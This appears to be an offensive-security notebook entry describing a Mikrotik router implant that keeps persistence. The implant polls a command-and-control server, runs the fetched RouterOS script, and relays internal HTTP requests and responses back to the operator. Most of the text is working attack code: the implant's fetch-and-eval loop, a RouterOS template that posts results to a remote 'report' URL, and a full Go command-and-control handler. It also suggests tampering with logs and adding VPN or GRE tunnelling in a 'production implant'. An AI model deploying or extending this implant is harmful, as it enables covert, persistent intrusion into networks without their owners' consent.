# tl; dr
Reimplementing [[simple-cisco-beacon]] with a small twist. In this (made-up) scenario, the goal was to maintain persistence, but avoid beaconing from within the network. A webshell is usually a good enough alternative, but in this case the webshell is internal and is connected to vial a Mikrotik beacon on the edge that establishes a simple reverse proxy for HTTP.
---
# mikrotik scripts
Mikrotik scripts are weird, hard to write in, and should be replaced with a sane language. However, the can do fetch, and they can do eval, which is enough for malware. The implant itself is just a loop that runs something like this:
```js
[[:parse ([/tool fetch url=http://<ip>:8080/control mode=http http-header-field=x-id:test-implant output=user as-value]->"data")]]
```
This code snippet could either be looped in the background or set up as a reaction handler for some recurring event.
Obviously, this is enough for a reverse shell (provided that enough tampering with logging is done beforehand, as fetch requests **are logged by default**). However, I was more interested in building a proxy.
Cisco's TCL has **non-blocking** sockets, which allows one to build a full proxy. Mikrotik scripts, though, only provide `fetch`, which is not enough to proxy a full duplex connection. However, what interesting protocol only does request/response? HTTP/1.1, of course, which in many cases is enough.
---
# upgrading the shell
Any request/response reverse shell (Linux, Windows, routers, whatever) could be easily upgraded to an HTTP proxy by building a `curl`-like command dynamically, executing it, and parsing the result.
However, a quick Google search did not yield any existing implementations, so here's an illustration of the concept.
The Mikrotik template is as follows (commented and formatted):
```js
:global cmdr [:toarray ""]
:onerror errno //error handling block
{:set cmdr [
/tool fetch
url=FULLURL // target URL
http-max-redirect-count=5
mode=HTTPMODE // HTTP/HTTPS/FTP
http-method=HTTPMETHOD // GET/POST/etc
http-data="HTTPDATA" // POST data
http-header-field=HEADERS // formatted headers
output=user-with-headers as-value
];
/tool fetch
url=REPORTBACK // URL to send the data back
http-data=($cmdr->"data" . "HEADERMARKER" . // the response data and headers
[:tostr ($cmdr->"http-headers")])
http-method=post mode=http output=user as-value}
do {
/tool fetch
url=REPORTBACK // sending back the error
http-data=($errno . "HEADERMARKER" . "err")
http-method=post mode=http output=user as-value};
```
---
Sending the processed template to the next fetch done by the implant yields the response, when it is executed. The handler is very easy to build in principle:
```go
package main
import (
"fmt"
"io"
"log"
"net/http"
"strings"
"net/url"
"regexp"
)
var commandTemplate string = ":global cmdr [:toarray \"\"]\n:onerror errno {:set cmdr [/tool fetch url=FULLURL http-max-redirect-count=5 mode=HTTPMODE http-method=HTTPMETHOD http-data=\"HTTPDATA\" http-header-field=HEADERS output=user-with-headers as-value]; /tool fetch url=REPORTBACK http-data=($cmdr->\"data\" . \"HEADERMARKER\" . [:tostr ($cmdr->\"http-headers\")]) http-method=post mode=http output=user as-value} do {/tool fetch url=REPORTBACK http-data=($errno . \"HEADERMARKER\" . \"err\") http-method=post mode=http output=user as-value};\n"
// yes, there is no synchronization or handling multiple implants, this is a PoC after all
var dataSubmit chan bool
var unparsedData string
var command string
func controlHandler(w http.ResponseWriter, r *http.Request) {
log.Printf("checkin: %s from %s", r.Header.Get("x-id"), r.RemoteAddr)
if command != "" {
w.Header().Set("Content-Type", "text/plain")
fmt.Fprintln(w, command)
return
}
http.Error(w, "Forbidden", 403)
}
func reportHandler(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
data, _ := io.ReadAll(r.Body)
unparsedData = string(data)
dataSubmit <- true
}
// headers in the format of header:val
func printTestRequest(surl string, method string, headers []string, data string) error {
log.Printf("\t request of \"%s %s\"", method, surl)
headerStr := strings.Join(headers, ",")
targeturl, err := url.Parse(surl)
if err != nil {
return err
}
command = strings.Replace(commandTemplate, "FULLURL", surl, 1)
command = strings.Replace(command, "HTTPMETHOD", strings.ToLower(method), 1)
command = strings.Replace(command, "HTTPDATA", data, 1)
command = strings.Replace(command, "HTTPMODE", targeturl.Scheme, 1)
command = strings.Replace(command, "HEADERS", headerStr, 1)
command = strings.Replace(command, "REPORTBACK", "http://<ip>:8080/report", 2)
<- dataSubmit
splitd := strings.Split(unparsedData, "HEADERMARKER")
if len(splitd) != 2 {
fmt.Println(unparsedData)
return fmt.Errorf("malformed request")
}
if splitd[1] == "err" {
fmt.Printf("encountered http err: %s", splitd[0])
return fmt.Errorf(splitd[0])
} else {
fmt.Println("HTTP/1.1 200 OK")
headers := strings.Split(splitd[1], ";")
for n, h := range headers { // ; may also occur in headers
r, _ := regexp.Compile("^[a-zA-Z\\-]+:.*") // shit approach, wcyd
if n < len(headers) - 1 && r.MatchString(headers[n+1]) {
fmt.Println(h)
} else {
fmt.Print(h)
}
}
fmt.Print("\n\n")
if len(splitd[0]) > 56 {
fmt.Println(splitd[0][0:55], "...snip...")
} else {
fmt.Println(splitd[0])
}
}
return nil
}
func main() {
dataSubmit = make(chan bool)
http.HandleFunc("/control", controlHandler)
http.HandleFunc("/report", reportHandler)
log.Println("http listening on :8080")
go http.ListenAndServe(":8080", nil)
printTestRequest("https://1.1.1.1", "GET", []string{"test-header:asdf"}, "")
}
```
---
# does it work?
Yes, it does:
![[Screenshot 2025-07-21 at 17.01.18.png]]
![[Screenshot 2025-07-21 at 17.01.44.png]]
---
# caveats and further work
Some additional work is required for the idea to be usable:
- Mikrotik fetch-to-variable requests and responses are limited in length, so saving the response to a file and chunked transfers are required for large responses
- The actual proxy part of the HTTP proxy is left as an exercise to the reader, but [gomitmproxy](https://github.com/AdguardTeam/gomitmproxy) is a good start
- Maybe some additional command templates should be added in a production implant, at least for outbound VPN tunneling or GRE/IPIP setup